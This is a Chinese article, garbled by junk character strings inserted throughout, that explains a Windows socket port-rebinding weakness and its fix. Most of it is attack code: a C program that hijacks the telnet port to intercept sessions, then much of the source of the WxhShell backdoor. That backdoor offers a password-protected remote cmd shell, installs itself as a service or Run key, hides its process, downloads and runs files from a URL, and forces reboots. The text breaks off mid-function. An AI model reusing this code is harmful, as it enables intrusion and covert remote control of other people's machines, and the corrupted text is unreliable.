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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V&gUxS]* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -.xs=NwB.| {8E
hC/= saddr.sin_family = AF_INET; t&*$@0A ]3%Z saddr.sin_addr.s_addr = htonl(INADDR_ANY); =U?"# 1w35H9\g bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E*[X\70 WL>"hkx 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Yx,
P
/Js!e<\ 这意味着什么?意味着可以进行如下的攻击: <53~Y [IMa0qs' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F3+)bIz nU/v(lN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~$+9L2gz K2!KMhvQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z[vMO% 98A ; R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Zl]\sJ1" cU+/I>V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #Ez>]`]TB ($]y*|Obn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9NVe>\s_ b d9]' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,1od]]>(O /mvuSNk #include ZNzye1JSm #include <V9L
AWeS #include 9Y~A2C #include JVU:`BH DWORD WINAPI ClientThread(LPVOID lpParam); *V>Iv/( int main() >0{{loqq { T-eeYw?Yf WORD wVersionRequested; $/6.4"j DWORD ret; n
pBpYtG WSADATA wsaData; \6*3&p BOOL val; nx=Zl:Q} SOCKADDR_IN saddr; u=A&n6Q[Vo SOCKADDR_IN scaddr; MAhcwmZNy int err; \DpXs[1 SOCKET s; 8hGp?Ihu SOCKET sc; M&xfQNE int caddsize; m>~%.
(/x HANDLE mt; &p0*:(j DWORD tid; 10{ZW@!7 wVersionRequested = MAKEWORD( 2, 2 ); kpcIU7|e err = WSAStartup( wVersionRequested, &wsaData ); GKSfr8US4 if ( err != 0 ) { !XQG1!|ww printf("error!WSAStartup failed!\n"); 2BEF8o]Np return -1; Uk5jZ| } RD<l<+C^~ saddr.sin_family = AF_INET; UuW" Ydh]EO0' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h0L*8P`t hQvSh\p saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [<7Hy,xr_ saddr.sin_port = htons(23); cOq^}Ohan if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _da>=^hFJ {
W& w-yZ printf("error!socket failed!\n"); l}># p'$ return -1; Y;4nIWe
JL } >#<o7] val = TRUE; fHdPav f,S //SO_REUSEADDR选项就是可以实现端口重绑定的 # KK>D?.: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8" XbW7 ^o { I HgYgn printf("error!setsockopt failed!\n"); 5Jlz$]f return -1; tUH#% } Y]Td+Zi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +2!F6"hP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Tt<Ry'Z$3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :VX?j3qW }hv>LL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 22)2olU { 7FMO''x ret=GetLastError(); q0,Diouq printf("error!bind failed!\n"); 7'k+/rAO return -1; (%D*S_m' } ORD@+ { listen(s,2); " P c"{w while(1) %s6|w=.1 { XOAZ caddsize = sizeof(scaddr); .A//Q|ot! //接受连接请求 <: f jWy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dnSjXyjFB if(sc!=INVALID_SOCKET) a39Kl_\ { "WV]|
TS"] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q4C$-W%rj if(mt==NULL) HNu/b)-Rb { icOh/G=N; printf("Thread Creat Failed!\n"); =Wn11JGh break; % V/J6 } LzEs_B=9 } >LRt,.hy6 CloseHandle(mt); :)_Ap{9J } v `9IS+Z closesocket(s); 2&S*> ( WSACleanup(); n(\5Z& return 0; X!KjRP\\ } sluR@[l DWORD WINAPI ClientThread(LPVOID lpParam) -Zh`h8gX { GcmN40 SOCKET ss = (SOCKET)lpParam; l_Mi'}j SOCKET sc; ' !>t( Sa unsigned char buf[4096]; 21_>|EKp SOCKADDR_IN saddr; Wt*&_+ae long num; D7T(B=S6 DWORD val; hosw :% DWORD ret; ?aR)dQ //如果是隐藏端口应用的话,可以在此处加一些判断 t:X\`.W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]{;=<t6 saddr.sin_family = AF_INET; ?{ns1nW: saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I'%vN^e^ saddr.sin_port = htons(23);
qc;9{$?xV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tQ=M=BPZ { rf?Q# KM\W printf("error!socket failed!\n"); n@r'b{2;l return -1; A8Tq2]"* S } Ju4={^# val = 100; Lwm2:_\_b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cPZD#";f { Rrmk\7/ ret = GetLastError(); $)t ]av return -1; {p@u H<) } ve;#o< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a/Z >- { }c?/-ab> ret = GetLastError(); q'{LTg0kk return -1; 3eX;T +|o } |7KW'=O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PZmg7N { /2Q@M> printf("error!socket connect failed!\n"); Vw0cf; closesocket(sc); u?6L.^Op closesocket(ss); JFf*v6:, return -1; ;dgxeP;mp } b.V\EOk while(1) :I*G tq
{ *<Yn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /<,LM8n //如果是嗅探内容的话,可以再此处进行内容分析和记录 @LZ'Qc
}@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OCIWQ/
P num = recv(ss,buf,4096,0); Vf<VKP[9K if(num>0) 0EiURVX send(sc,buf,num,0); oU[Ba8qh else if(num==0) y8=p;7DY break; s8 S[w num = recv(sc,buf,4096,0); jSNUU.lur if(num>0) szW_cjS send(ss,buf,num,0); b /65Q&g' else if(num==0) (T+fO}0 break; WxwSb`U| } _EMq"\ND closesocket(ss); -v"\WmcS closesocket(sc); F/GfEMSE return 0 ; =8FV&|fP } "|<6bA X-,scm KZ_d..l*W ========================================================== ,Yx"3i,
L7oLV?k 下边附上一个代码,,WXhSHELL jzCSxuZ7O 2
|lm'Hf ========================================================== U,Py+c6 ;o*n*N #include "stdafx.h" GPP{"6q5' mqxgrb7 #include <stdio.h> T4MB~5,i #include <string.h> &-^|n*=g6 #include <windows.h> k+Ew+j1_ #include <winsock2.h> ]*b}^PQM^ #include <winsvc.h> )Lt|]|1B{ #include <urlmon.h> )\fAy
R&Mv|R #pragma comment (lib, "Ws2_32.lib") FgA'X< #pragma comment (lib, "urlmon.lib") )c~1s <k'JhMwN #define MAX_USER 100 // 最大客户端连接数 RW19I,d #define BUF_SOCK 200 // sock buffer `
O;+N"v #define KEY_BUFF 255 // 输入 buffer 9gFb=&1k pdCn98}%- #define REBOOT 0 // 重启 &%3$zgvR #define SHUTDOWN 1 // 关机 Fl)p^uUtl f%r0K6p #define DEF_PORT 5000 // 监听端口 *a}NRf}W pZ4]KxX@ #define REG_LEN 16 // 注册表键长度 ' *h y!f] #define SVC_LEN 80 // NT服务名长度 i"|="O0v5 l"9.zPvT< // 从dll定义API qbu>YTj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S-)mv'Al'F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [X>\!mt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $@]tTz;b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _m3}0q ch2Q k8 // wxhshell配置信息 llG^ +*Y8t struct WSCFG { Y4E UW% int ws_port; // 监听端口 Tc{r;:'G< char ws_passstr[REG_LEN]; // 口令 UG)J4ZX int ws_autoins; // 安装标记, 1=yes 0=no zQY|=4NP char ws_regname[REG_LEN]; // 注册表键名 N~I2~f char ws_svcname[REG_LEN]; // 服务名 Qn`$xY9mT char ws_svcdisp[SVC_LEN]; // 服务显示名 iaShxoIV char ws_svcdesc[SVC_LEN]; // 服务描述信息 yL =*yC char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]WZ_~8 int ws_downexe; // 下载执行标记, 1=yes 0=no 8Q $fXB char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" "$)Nd+ny char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y k=o [AAG:` }; :5kgJu k&Z3v. // default Wxhshell configuration }9Yd[` struct WSCFG wscfg={DEF_PORT, QP+zGXd}( "xuhuanlingzhe", 9G)Sjn`AQ 1, QiDf,$t|, "Wxhshell", WSA;p=_ "Wxhshell", a`SQcNBf* "WxhShell Service", S 6e<2G=O "Wrsky Windows CmdShell Service", o80?B~o "Please Input Your Password: ", +RIG8w] 1, ziFg+i%s " http://www.wrsky.com/wxhshell.exe", B^4D`0G[4 "Wxhshell.exe" w]n ,`r^ }; %3v:c|r {P'TtlEp // 消息定义模块 tnx)_f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'k|?M char *msg_ws_prompt="\n\r? for help\n\r#>"; v9Kx`{1L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; '2`MT- char *msg_ws_ext="\n\rExit."; Y6LoPJ char *msg_ws_end="\n\rQuit."; Bvbv~7g( char *msg_ws_boot="\n\rReboot..."; 'EsN{.l? char *msg_ws_poff="\n\rShutdown..."; n,KOQI; char *msg_ws_down="\n\rSave to "; bj6-0` Ie 3
F char *msg_ws_err="\n\rErr!"; 8J60+2Wa char *msg_ws_ok="\n\rOK!"; #ma#oWqF } \5g7_3,3W char ExeFile[MAX_PATH]; %;5AF8# c int nUser = 0; FmU>q) HANDLE handles[MAX_USER]; 8u+FWbOl] int OsIsNt; B o@B9/ABv wSrq?U5q SERVICE_STATUS serviceStatus; VlGg? SERVICE_STATUS_HANDLE hServiceStatusHandle; zj G>=2 We^!(G // 函数声明 dV{N,;z int Install(void); fC!]M hA"i int Uninstall(void); 1Ql\aO) int DownloadFile(char *sURL, SOCKET wsh); >3R%GNw int Boot(int flag); RI,Z&kXj2o void HideProc(void); V{51wnxT int GetOsVer(void); ppv/A4Kv int Wxhshell(SOCKET wsl); Ave{ `YD void TalkWithClient(void *cs); `Qzga}`"] int CmdShell(SOCKET sock); [Xy^M3 int StartFromService(void); 9C-!I, int StartWxhshell(LPSTR lpCmdLine); -8-BVU Vwj^h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RS`]>K3t VOID WINAPI NTServiceHandler( DWORD fdwControl ); '%!'1si L2v
j)( // 数据结构和表定义 d,"?tip/SX SERVICE_TABLE_ENTRY DispatchTable[] = eK
}AVz}k { & <{= {wscfg.ws_svcname, NTServiceMain}, yn;h.m [): {NULL, NULL} =M]f7lJ }; D@[Mk"f _O!)aD // 自我安装 xRZ9.Agv_ int Install(void) ~=W|I:@ { ym,UJs& char svExeFile[MAX_PATH]; n<C4-'^U[a HKEY key; #lA8yWxr strcpy(svExeFile,ExeFile); &w{""' kYxb@Zn=| // 如果是win9x系统,修改注册表设为自启动 M[wd.\
% if(!OsIsNt) { Q}G'=Q]Juz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aL63=y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MMs#Y1dH RegCloseKey(key); fV[(s7vW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @=KuoIV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +8+@Az[e0 RegCloseKey(key); 2FHWOy
/N@ return 0; 8=
jl]q$< } e=b>:n }
qMD!No } MPt:bf# else { _sU| <1 l V[d`%( // 如果是NT以上系统,安装为系统服务 {3RY4HVT? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `N0Mm7 if (schSCManager!=0) 'n>,+,& { L4th 7# SC_HANDLE schService = CreateService Fv n:V\eb ( mmC&xZ5f schSCManager, YmP`Gg#>p wscfg.ws_svcname, 3JuWG\r)l wscfg.ws_svcdisp, 1( V>8}zn SERVICE_ALL_ACCESS, }{Y)[w#R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <I.anIB:U SERVICE_AUTO_START, m2o*d$Ke SERVICE_ERROR_NORMAL, LQVa,' svExeFile, v3 $+l1 NULL, `I$'Lp#5 NULL, "eWN52 NULL, a`.] 8Jy) NULL, ; z_ZZ(W NULL \RcB,?OK ); Y,O)"6ev if (schService!=0) R:+2}kS5e{ { %U]_1"d,<\ CloseServiceHandle(schService); ]d#Lfgo CloseServiceHandle(schSCManager); G([8Q8B4+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vl;GQe strcat(svExeFile,wscfg.ws_svcname); ^4@~\#$z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vywd&7gK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Do@:|n RegCloseKey(key); \VL[,z=q. return 0; i~\fpay } 9W$d'IA } +QNFu){G CloseServiceHandle(schSCManager); D3#/*Ky } %JBFG.+ } %x_c2 %GUu{n<6 return 1; \VmqK&9 } 0T,Qn{ Kp")
%p# // 自我卸载 H\ A!oB,sw int Uninstall(void) &IGTCTBP { DXPiC[g] HKEY key; ,: X+NQ /{pVYY if(!OsIsNt) { eto3dJ!R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9g3J{pKcZ RegDeleteValue(key,wscfg.ws_regname); YDBQ6X RegCloseKey(key); [; M31b3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [u[`!L= RegDeleteValue(key,wscfg.ws_regname); f$a%&X6"- RegCloseKey(key); k)D:lpxv return 0; q1j<p)( }
/1- } jbQ2G|:Q } fu|N{$h%X else { J%']t$AR 5p6Kq=jhb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0raVC=[ if (schSCManager!=0) U krqHHpy { W69
-,w/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l,Un7]* if (schService!=0) JpN]j` { EL+6u>\-k if(DeleteService(schService)!=0) { %V-\ |cw CloseServiceHandle(schService); ?c)PBJ+] CloseServiceHandle(schSCManager); u9>zC QRO return 0; *<*{gO?Q4 } 0'!v-`. CloseServiceHandle(schService); m#SDB6l
} hQ&S*f&=' CloseServiceHandle(schSCManager); M0`nr}g } $3BCA)5: } R
}M'D15 =jvM$ return 1; /sY(/ JE } =T5vu~[J/e xz#;F ,`ZR // 从指定url下载文件 #*uSYGdc int DownloadFile(char *sURL, SOCKET wsh) IVD1mk { Q!/<=95E HRESULT hr; ,2mnjq/*Z char seps[]= "/"; "?_adot5v char *token; $Z)Dvy| char *file; XQ.czj char myURL[MAX_PATH]; $Gb] K{e char myFILE[MAX_PATH]; _+0l+a*D @AUx%:}0Y: strcpy(myURL,sURL); )c=R)=N token=strtok(myURL,seps); xZjl_bJ while(token!=NULL) <>GWSW { 6GCwc1g file=token; f!;i$Oif token=strtok(NULL,seps); BQWEC,*N } !}wJ+R ^2 a,o)i8G9R< GetCurrentDirectory(MAX_PATH,myFILE); U#G[#sd> K strcat(myFILE, "\\"); A0.)=q strcat(myFILE, file); 2UY0:ye send(wsh,myFILE,strlen(myFILE),0); V^aX^ ; send(wsh,"...",3,0); ! *\)7D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0gPz|v>z if(hr==S_OK) Ggy_
Ctu return 0; (gBP`*2 else ]Po9a4w# return 1; X}'3N'cbkU FRI<A8 } $Ch!]lJA \UFno$;mA // 系统电源模块 ]xQPSs_ int Boot(int flag) ,Iq+ v { :$d3}TjsA+ HANDLE hToken; R`ajll1 TOKEN_PRIVILEGES tkp; Db\.D/76 NL&(/72V if(OsIsNt) { uyP)5, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /6}4<~~4TA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?RGL0`Lg tkp.PrivilegeCount = 1; GutH}Kz"& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :~loy' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *v3/8enf if(flag==REBOOT) { aNb=gjLpt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
VVeO>j d return 0; 1\q(xka{ } Sr~zN:wn else { (8o~ XL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B1m@ return 0; \~:Kp
Kq } i_ws*7B< } z<c^<hE:l else { %Rv&VFg if(flag==REBOOT) { BDZB;DPb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y
%Get return 0; W>eJGZ< } b_-ESs]g else { +<6L>ZAL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) # 'G/&&< return 0; ug[|'tR8 } pI7\]e } e8gJ }8Fj @& #df return 1; {U(-cdU{e` } UK+;/Mtg qdh;zAMx // win9x进程隐藏模块 "L.)ML void HideProc(void) .6SdSB^M { i`7{q~d= iaXNf
])? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P{5p'g , if ( hKernel != NULL ) le yhiL< { }MY7<sMDOy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #T
Cz$_=t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z=<T[Uy FreeLibrary(hKernel); /S1EQ%_ } rklr^ e 3;~1rw=$< return; o%X_V!B{V } `x$d8(1J`# `48jL3| // 获取操作系统版本 X!&DKE int GetOsVer(void) M_+&XLnzsJ { !y$Hr[v OSVERSIONINFO winfo; {%.
_cR2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q,VJpqQ GetVersionEx(&winfo); 3 1KMn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G/_#zIN`8M return 1; s4P8PDhz else nlXg8t^G return 0; & S_gNa } ,kuJWaUC@ .Br2^F // 客户端句柄模块 VJBVk8P int Wxhshell(SOCKET wsl) B)/X:[ { kW\=Z1\# SOCKET wsh; ?XL [[vyr struct sockaddr_in client; Ya*lq!
u DWORD myID; lxj_(Uo G U~?S'{ while(nUser<MAX_USER) @!fy24R]D { 0#F3@/1h int nSize=sizeof(client); *D
#H-]9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LgRx\*[C* if(wsh==INVALID_SOCKET) return 1; \c/jp5=} }M?GqA= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sY7:Lzs., if(handles[nUser]==0) D/:~#) closesocket(wsh); QR2J;Oj_ else " jn@S- nUser++; mm/U9hbp% } I?dh"*Js& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -VD[iH 8Fx~i#F T return 0; ^tsIgK^9H } *!%y.$\cE vi@a87w> // 关闭 socket Ttn=VX{
\ void CloseIt(SOCKET wsh) yxQxc5/X) { I!9u](\0 closesocket(wsh); ]0by6hQ nUser--; cf1Ve\(YGI ExitThread(0); .3qaaXeH } }|H]>U& H)tYxW // 客户端请求句柄 78#j e=MDg void TalkWithClient(void *cs) #6fp" { H&E c*MT l-_voOP SOCKET wsh=(SOCKET)cs; | ctGxS9 char pwd[SVC_LEN]; "p.MJxH char cmd[KEY_BUFF]; .x$+R%5U char chr[1]; J6Hw05%0= int i,j; .
l RW ]
M"{=z while (nUser < MAX_USER) { ?'CIt5n+\{ pA"x4\s if(wscfg.ws_passstr) { |4YDvDEJi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :N\*;> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !cE>L~cza //ZeroMemory(pwd,KEY_BUFF); kLR4?tX! i=0; m46Q%hwV while(i<SVC_LEN) { sI/Hcm \
lP
c,8) // 设置超时 v~q2D" fd_set FdRead; {,*G}/9< struct timeval TimeOut; ;nji< FD_ZERO(&FdRead); !EF~I8d\] FD_SET(wsh,&FdRead); go m<V?$ TimeOut.tv_sec=8; Dk&cIZ43 TimeOut.tv_usec=0; );@Dr!H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E:4`x_~qQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uTA
/E9OY F)j-D(c4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fj"gCBaR pwd =chr[0]; "^ydoRZ if(chr[0]==0xd || chr[0]==0xa) { H!4!1J.=xw pwd=0; ;TF(opW: break; Bt[`p\p@ } z!)_'A i++; SWUHHl } wg^#S &fdH
HN // 如果是非法用户,关闭 socket m;WUp{' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "@Bc eD } Xlw&hKS C16MzrB}(N send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <oI{:KH send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w3 PE.A"Q v#a`*^ ^ while(1) { M<r'j $g Zn1+} Z@I ZeroMemory(cmd,KEY_BUFF); kwMuL>5 yTz@q>6s- // 自动支持客户端 telnet标准 }Ga@bY6 j=0; \o?zL7 while(j<KEY_BUFF) { -dsB@nPiUw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iUi{)xa2 cmd[j]=chr[0]; I$\dT1m$ if(chr[0]==0xa || chr[0]==0xd) { Ljq/f&
c cmd[j]=0; $@FD01h.t3 break; m/|>4~ } (Z=ziopDE j++; + G"=1sxJ } yrnB]$hf
`i8osX[ &p // 下载文件 a~Sf~ka if(strstr(cmd,"http://")) { 8*6vX! Z| send(wsh,msg_ws_down,strlen(msg_ws_down),0); DOaEz?2) if(DownloadFile(cmd,wsh)) Vs]+MAL send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/}*HWVZ else lzBy;i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (;$J5 } Vg#s else { W*QD' A)2vjM9}K switch(cmd[0]) { |Pz- @%IZKYfc~ // 帮助 p \; * : case '?': { HDIB GG~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8js5/G+ break; 2"~!Pu^.j } <P3r+ 1|R // 安装 HLg/=VF7? case 'i': { 1Z'cL~9 if(Install()) 9hHQWv7TgK send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.zUY6 else XASoS5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lJi'%bOi break; 4-eb& } 0L$v7,
5 // 卸载 ZO2u[HSO> case 'r': { *!,+%0 if(Uninstall()) i5?)E7- send(wsh,msg_ws_err,strlen(msg_ws_err),0); }pbyC else {q~Bss{z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )UI$s" break; xgrk>Fb|R } C?#if;c // 显示 wxhshell 所在路径 30*^ERO case 'p': { /,"Z^= char svExeFile[MAX_PATH]; KwN o/x|
v strcpy(svExeFile,"\n\r"); ?cG+rC% strcat(svExeFile,ExeFile); r42[pi]F send(wsh,svExeFile,strlen(svExeFile),0); a_^3:}i~D break; mn{8"@Z } f~jx2?W // 重启 u6'vzLmM case 'b': { >-r\]/^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KZ6}),p if(Boot(REBOOT)) j1N1c~2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); *qAF# else { };+ ' closesocket(wsh); >Gk<[0U ExitThread(0); +Q_X,gZ } qBpv[m break; GD}3r:wDs } i)1E[jc{p! // 关机 {p|OKf case 'd': { ]cc4+}L~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RsIEY5Q if(Boot(SHUTDOWN)) 2xZg, \ send(wsh,msg_ws_err,strlen(msg_ws_err),0); t^&:45~Q else { Oo`P +S# closesocket(wsh); n]}+ : ExitThread(0); UIv TC
S } n4 KiC!*i0 break; -WB?hmx } QBR9BR // 获取shell )?%FU?2jrn case 's': { R$K.; CmdShell(wsh); 7,!Mmu closesocket(wsh); 9;&2LT7z ExitThread(0); P0Ds7xh]h break; ;8JJ#ED } ":"QsS#*"# // 退出 @?!/Pl49R case 'x': { 7ZET@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "monuErg& CloseIt(wsh); 1T%Y:0 break; G#HbiVH9 } H.7gSB 1 // 离开 ?Gp~i] case 'q': { eE>3=1d]w send(wsh,msg_ws_end,strlen(msg_ws_end),0); X@b$C~+ closesocket(wsh); :t(gD8 ; WSACleanup(); b)en/mz exit(1); C:hfI;*7 break; >L$y|8O } s^^X.z , } 5w gtc~ } Q# }} 1}Ja (i|`PA // 提示信息 -vGyEd7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +AZ=nMgW } ,vrdtL } `V w9j,G "@gJ[BL# return; dg4"4\c*P } EQyRP.
dq u%V=Ze // shell模块句柄 -]Z!_[MlDF int CmdShell(SOCKET sock) )"WImf:*
{ 1HN_ STARTUPINFO si; "ltvD\ ZeroMemory(&si,sizeof(si)); 8q)2)p si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `-\4Dx1!q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z%`}
`( PROCESS_INFORMATION ProcessInfo; Q[i;IbY char cmdline[]="cmd"; x&l?Cfvv= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lBR6O!sBP return 0; Jb6rEV> } G 8uX[-L1 J,;;`sf // 自身启动模式 9*[!uu int StartFromService(void) 3HO4h\mp { DA]!ndJD typedef struct XEfTAW#7 { j*I0]!- DWORD ExitStatus; J6hWcA6g DWORD PebBaseAddress; 1|;WaO1Q DWORD AffinityMask; jn^i4f>N DWORD BasePriority; Q&MZ/Nnf ULONG UniqueProcessId; 6aM`qz) ULONG InheritedFromUniqueProcessId; lDe9EJR } PROCESS_BASIC_INFORMATION; 2N5N^S D?}LKs[ PROCNTQSIP NtQueryInformationProcess; ;p BXAl XC?H static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h"l{cDk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KofjveOiC KFAB HANDLE hProcess; \tyL`&) PROCESS_BASIC_INFORMATION pbi; Wfu%,=@, ZA2y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kC01s if(NULL == hInst ) return 0; U>e@m? 3 V8SKBS g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uk 